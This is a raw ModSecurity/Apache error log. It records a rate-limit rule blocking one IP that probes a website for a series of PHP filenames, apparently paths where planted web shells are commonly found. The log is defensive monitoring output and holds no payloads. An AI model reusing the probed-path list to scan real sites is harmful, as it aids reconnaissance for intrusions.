[Mon Feb 09 00:51:31.221279 2026] [:error] [pid 24530:tid 24551] [client 20.69.252.116:48719] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aYi_E0azNRCs1GRWrh47kgAAANM"]
[Mon Feb 09 00:51:31.672797 2026] [:error] [pid 6662:tid 6678] [client 20.69.252.116:48691] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aYi_E9-oEK1ut16KiNIc7wAAAkw"]
[Mon Feb 09 00:51:32.111332 2026] [:error] [pid 6663:tid 6708] [client 20.69.252.116:48650] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aYi_FGGI3uHqWdeZM76gnAAAAo8"]
[Mon Feb 09 00:51:32.554457 2026] [:error] [pid 6723:tid 6801] [client 20.69.252.116:48697] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admiin.php"] [unique_id "aYi_FDkiu6gHwS33P0qS6gAAA1A"]
[Mon Feb 09 00:51:33.080656 2026] [:error] [pid 6630:tid 6637] [client 20.69.252.116:35153] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admiin.php"] [unique_id "aYi_FZ2jf0FBTEb_cWQRYwAAAgQ"]
[Mon Feb 09 00:51:33.529144 2026] [:error] [pid 24530:tid 24549] [client 20.69.252.116:48668] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admiin.php"] [unique_id "aYi_FUazNRCs1GRWrh47lQAAANE"]
[Mon Feb 09 00:51:33.940251 2026] [:error] [pid 6723:tid 6796] [client 20.69.252.116:48700] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admiin.php"] [unique_id "aYi_FTkiu6gHwS33P0qS7QAAA0s"]
[Mon Feb 09 00:51:34.360371 2026] [:error] [pid 6630:tid 6653] [client 20.69.252.116:48665] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aYi_Fp2jf0FBTEb_cWQRZAAAAhQ"]
[Mon Feb 09 00:51:34.774781 2026] [:error] [pid 43900:tid 43903] [client 20.69.252.116:48757] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aYi_FuWrhnpm_Csk3knJ1AAAAUA"]
[Mon Feb 09 00:51:35.181936 2026] [:error] [pid 9482:tid 9541] [client 20.69.252.116:48714] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aYi_F8TkGH_puEFp5zPRjAAAA8I"]
[Mon Feb 09 00:51:35.601452 2026] [:error] [pid 9482:tid 9543] [client 20.69.252.116:35198] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aYi_F8TkGH_puEFp5zPRjQAAA8Q"]
[Mon Feb 09 00:51:36.009167 2026] [:error] [pid 6662:tid 6685] [client 20.69.252.116:48652] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aYi_GN-oEK1ut16KiNIc8wAAAlM"]
[Mon Feb 09 00:51:36.417700 2026] [:error] [pid 9482:tid 9561] [client 20.69.252.116:48707] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aYi_GMTkGH_puEFp5zPRkQAAA9Y"]
[Mon Feb 09 00:51:36.830814 2026] [:error] [pid 24530:tid 24535] [client 20.69.252.116:48683] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aYi_GEazNRCs1GRWrh47mAAAAMM"]
[Mon Feb 09 00:51:37.256718 2026] [:error] [pid 6663:tid 6700] [client 20.69.252.116:48746] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jmfi2.php"] [unique_id "aYi_GWGI3uHqWdeZM76gngAAAoc"]
[Mon Feb 09 00:51:37.662430 2026] [:error] [pid 43900:tid 43927] [client 20.69.252.116:48641] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ez.php"] [unique_id "aYi_GeWrhnpm_Csk3knJ1gAAAVg"]
[Mon Feb 09 00:51:38.074609 2026] [:error] [pid 24421:tid 24434] [client 20.69.252.116:48732] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ez.php"] [unique_id "aYi_Gqp7cTzhX5M1IP9ZOwAAAAM"]
[Mon Feb 09 00:51:38.476504 2026] [:error] [pid 24530:tid 24533] [client 20.69.252.116:48744] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ez.php"] [unique_id "aYi_GkazNRCs1GRWrh47mgAAAME"]
[Mon Feb 09 00:51:38.895736 2026] [:error] [pid 24530:tid 24544] [client 20.69.252.116:35190] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ez.php"] [unique_id "aYi_GkazNRCs1GRWrh47nAAAAMw"]
[Mon Feb 09 00:51:39.318500 2026] [:error] [pid 6630:tid 6655] [client 20.69.252.116:48702] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aYi_G52jf0FBTEb_cWQRaAAAAhY"]
[Mon Feb 09 00:51:39.734768 2026] [:error] [pid 24421:tid 24448] [client 20.69.252.116:48751] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aYi_G6p7cTzhX5M1IP9ZPAAAABE"]
[Mon Feb 09 00:51:40.158109 2026] [:error] [pid 6662:tid 6688] [client 20.69.252.116:48725] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aYi_HN-oEK1ut16KiNIc-QAAAlY"]
[Mon Feb 09 00:51:40.566846 2026] [:error] [pid 6662:tid 6690] [client 20.69.252.116:35146] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Sanskrit.php"] [unique_id "aYi_HN-oEK1ut16KiNIc-gAAAlg"]
[Mon Feb 09 00:51:40.967711 2026] [:error] [pid 6662:tid 6672] [client 20.69.252.116:34510] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aYi_HN-oEK1ut16KiNIc_AAAAkY"]
[Mon Feb 09 00:51:41.379313 2026] [:error] [pid 43900:tid 43904] [client 20.69.252.116:48657] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aYi_HeWrhnpm_Csk3knJ2AAAAUE"]
[Mon Feb 09 00:51:41.784082 2026] [:error] [pid 9422:tid 9441] [client 20.69.252.116:48749] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aYi_Ha9DqDJC68qBbyxFOAAAAZA"]
[Mon Feb 09 00:51:42.184423 2026] [:error] [pid 24423:tid 24508] [client 20.69.252.116:35196] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aYi_Hk3f9n1Y0TpV5YaJjgAAAJc"]
[Mon Feb 09 00:51:42.597725 2026] [:error] [pid 9482:tid 9554] [client 20.69.252.116:48764] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aYi_HsTkGH_puEFp5zPRkwAAA88"]
[Mon Feb 09 00:51:43.001763 2026] [:error] [pid 24421:tid 24432] [client 20.69.252.116:35119] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aYi_H6p7cTzhX5M1IP9ZPwAAAAE"]
[Mon Feb 09 00:51:43.405203 2026] [:error] [pid 6723:tid 6792] [client 20.69.252.116:48661] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aYi_Hzkiu6gHwS33P0qS8AAAA0c"]
[Mon Feb 09 00:51:43.805632 2026] [:error] [pid 6663:tid 6701] [client 20.69.252.116:48743] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/re.php"] [unique_id "aYi_H2GI3uHqWdeZM76goAAAAog"]
[Mon Feb 09 00:51:44.204794 2026] [:error] [pid 6662:tid 6685] [client 20.69.252.116:35174] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cfile.php"] [unique_id "aYi_IN-oEK1ut16KiNIc_gAAAlM"]
[Mon Feb 09 00:51:44.614789 2026] [:error] [pid 6662:tid 6681] [client 20.69.252.116:48712] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cfile.php"] [unique_id "aYi_IN-oEK1ut16KiNIc_wAAAk8"]
[Mon Feb 09 00:51:45.015136 2026] [:error] [pid 24530:tid 24538] [client 20.69.252.116:34535] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cfile.php"] [unique_id "aYi_IUazNRCs1GRWrh47ogAAAMY"]
[Mon Feb 09 00:51:45.416395 2026] [:error] [pid 6723:tid 6801] [client 20.69.252.116:35112] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cfile.php"] [unique_id "aYi_ITkiu6gHwS33P0qS8gAAA1A"]
[Mon Feb 09 00:51:45.822192 2026] [:error] [pid 6662:tid 6684] [client 20.69.252.116:35135] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aYi_Id-oEK1ut16KiNIdAAAAAlI"]
[Mon Feb 09 00:51:46.227045 2026] [:error] [pid 6662:tid 6677] [client 20.69.252.116:48694] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aYi_It-oEK1ut16KiNIdAQAAAks"]
[Mon Feb 09 00:51:46.669464 2026] [:error] [pid 6662:tid 6670] [client 20.69.252.116:48730] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aYi_It-oEK1ut16KiNIdAwAAAkQ"]
[Mon Feb 09 00:51:47.082221 2026] [:error] [pid 6663:tid 6704] [client 20.69.252.116:35164] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/num.php"] [unique_id "aYi_I2GI3uHqWdeZM76gogAAAos"]
[Mon Feb 09 00:51:47.515509 2026] [:error] [pid 24530:tid 24542] [client 20.69.252.116:35094] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aYi_I0azNRCs1GRWrh47pgAAAMo"]
[Mon Feb 09 00:51:47.928926 2026] [:error] [pid 24530:tid 24543] [client 20.69.252.116:35147] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aYi_I0azNRCs1GRWrh47qQAAAMs"]
[Mon Feb 09 00:51:48.329177 2026] [:error] [pid 24530:tid 24555] [client 20.69.252.116:34517] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aYi_JEazNRCs1GRWrh47qwAAANc"]
[Mon Feb 09 00:51:48.744149 2026] [:error] [pid 24423:tid 24501] [client 20.69.252.116:48721] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aYi_JE3f9n1Y0TpV5YaJmAAAAJA"]
[Mon Feb 09 00:51:49.187582 2026] [:error] [pid 9482:tid 9558] [client 20.69.252.116:48761] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aYi_JcTkGH_puEFp5zPRlgAAA9M"]
[Mon Feb 09 00:51:49.624996 2026] [:error] [pid 6630:tid 6647] [client 20.69.252.116:34506] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aYi_JZ2jf0FBTEb_cWQRbQAAAg4"]
[Mon Feb 09 00:51:50.027659 2026] [:error] [pid 6723:tid 6803] [client 20.69.252.116:48755] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aYi_Jjkiu6gHwS33P0qS8wAAA1I"]
[Mon Feb 09 00:51:50.490771 2026] [:error] [pid 9422:tid 9447] [client 20.69.252.116:35074] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vxrl.php"] [unique_id "aYi_Jq9DqDJC68qBbyxFOwAAAZY"]
[Mon Feb 09 00:51:50.906398 2026] [:error] [pid 6723:tid 6799] [client 20.69.252.116:48654] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aYi_Jjkiu6gHwS33P0qS9AAAA04"]
[Mon Feb 09 00:51:51.316193 2026] [:error] [pid 6663:tid 6707] [client 20.69.252.116:48667] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aYi_J2GI3uHqWdeZM76gpgAAAo4"]
[Mon Feb 09 00:51:51.746626 2026] [:error] [pid 43900:tid 43921] [client 20.69.252.116:48645] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aYi_J-Wrhnpm_Csk3knJ3wAAAVI"]
[Mon Feb 09 00:51:52.154689 2026] [:error] [pid 6663:tid 6702] [client 20.69.252.116:35154] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/in.php"] [unique_id "aYi_KGGI3uHqWdeZM76gqAAAAok"]
[Mon Feb 09 00:51:52.579965 2026] [:error] [pid 24530:tid 24544] [client 20.69.252.116:48656] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aYi_KEazNRCs1GRWrh47tQAAAMw"]
[Mon Feb 09 00:51:52.981935 2026] [:error] [pid 43900:tid 43912] [client 20.69.252.116:35144] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aYi_KOWrhnpm_Csk3knJ4gAAAUk"]
[Mon Feb 09 00:51:53.381828 2026] [:error] [pid 43900:tid 43909] [client 20.69.252.116:48762] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aYi_KeWrhnpm_Csk3knJ4wAAAUY"]
[Mon Feb 09 00:51:53.796136 2026] [:error] [pid 6723:tid 6786] [client 20.69.252.116:35150] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aYi_KTkiu6gHwS33P0qS9wAAA0E"]
[Mon Feb 09 00:51:54.197697 2026] [:error] [pid 43900:tid 43906] [client 20.69.252.116:34551] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aYi_KuWrhnpm_Csk3knJ5QAAAUM"]
